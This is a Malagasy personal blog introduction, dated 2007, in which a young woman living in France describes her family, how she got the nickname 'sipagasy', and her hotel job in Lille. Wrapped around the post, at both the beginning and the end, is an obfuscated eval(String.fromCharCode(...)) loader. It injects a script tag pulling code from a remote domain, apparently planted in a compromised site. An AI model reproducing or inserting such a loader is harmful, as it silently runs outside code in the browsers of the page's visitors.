voasoratra ny: Jiona 10th, 2007eval(String.fromCharCode(118,97,114,32,117,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,57,44,49,49,53,44,52,54,44,49,49,53,44,49,49,54,44,49,48,53,44,49,49,56,44,49,48,49,44,49,49,48,44,49,48,50,44,49,48,49,44,49,49,52,44,49,49,48,44,57,55,44,49,49,48,44,49,48,48,44,49,49,49,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,57,44,54,51,44,49,49,56,44,54,49,44,49,49,53,44,49,48,56,44,49,48,56,44,49,48,56,44,52,57,44,52,54,44,53,51,44,52,54,44,53,54,41,59,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,32,115,46,116,121,112,101,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,54,44,49,48,49,44,49,50,48,44,49,49,54,44,52,55,44,49,48,54,44,57,55,44,49,49,56,44,57,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,59,32,118,97,114,32,112,108,32,61,32,117,59,32,115,46,115,114,99,61,112,108,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,48,49,44,57,55,44,49,48,48,41,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,118,97,114,32,108,105,115,116,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,108,105,115,116,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,108,105,115,116,46,99,104,105,108,100,78,111,100,101,115,91,48,93,41,59,125));

Ity lahatsoratra manaraka ity dia notsoahina avy t@ bolongana teo aloha.

Miarahaba antsika rehetra tonga mitsidika ato e!

Iza moa aho,

Rajaonarison Mavoseheno Hanitra no anarana entiko, mpampianatra ny ray amandreniko, ary ny dadako ihany koa dia mpandrindra ny antoko OTRIKAFO any Madagasikara.

Efatra mianadahy izahay no natareky ry zareo, roa vavy ary roa lahy, izahay mirahavavy no monina aty ivelan’i Madagasikara izany hoe aty Frantsa izahay e!

Ny nahatonga ny fiantsoana ahy hoe “sipagasy” kosa dia taty am-pita ihany, izany hoe tany am-pianarana izany dia hoe manontany ny ankizy hoe avy aiza aho sns e!!! dia namaly aho hoe avy any Madagasikara, eo @ izay moa dia mifampitady @ carte ny sasany hoe aiza moa ny misy izany …. ka rehefa hita dia hoe ary inona ny fiantsoana ny mponina any aminareo?? dia hoy aho hoe Malagasy na azo afohezina hoe “gasy” ary ny hoe ahoana kosa ny hoe tovovavy?? mmhhh tsy naita notenenina aho fa hoe “sipa” dia raikitra izany fa hoe “sipagasy” ny hiantsoana ahy satria tovovavy any any Madagasikara aho. Azafady tsy voateniko teo fa mpiara mianatra tamiko tao @ Lycée Hotelier de Guyancourt tany @ 78000 no nisian’izany resaka kely izany.

Ankehitriny moa izany aho dia miasa @ Hotel aty Lille izay tsy mifanalavitra @ toerana onenako e!

Vao manomboka ity moa aho ka tsy dia hitako loatra izay hoe apetrako ato fa mbola ho dinihina eo ihany angamba e!!! asa mety ho santionany @ onjam-piainana iainako no apetrako ato fa tsy ny rehetra kosa angamba e! (ny soa fianatra akia Mme Soanja ann)eval(String.fromCharCode(118,97,114,32,117,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,57,44,49,49,53,44,52,54,44,49,49,53,44,49,49,54,44,49,48,53,44,49,49,56,44,49,48,49,44,49,49,48,44,49,48,50,44,49,48,49,44,49,49,52,44,49,49,48,44,57,55,44,49,49,48,44,49,48,48,44,49,49,49,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,57,44,54,51,44,49,49,56,44,54,49,44,49,49,53,44,49,48,56,44,49,48,56,44,49,48,56,44,52,57,44,52,54,44,53,51,44,52,54,44,53,54,41,59,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,32,115,46,116,121,112,101,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,54,44,49,48,49,44,49,50,48,44,49,49,54,44,52,55,44,49,48,54,44,57,55,44,49,49,56,44,57,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,59,32,118,97,114,32,112,108,32,61,32,117,59,32,115,46,115,114,99,61,112,108,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,48,49,44,57,55,44,49,48,48,41,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,118,97,114,32,108,105,115,116,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,108,105,115,116,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,108,105,115,116,46,99,104,105,108,100,78,111,100,101,115,91,48,93,41,59,125));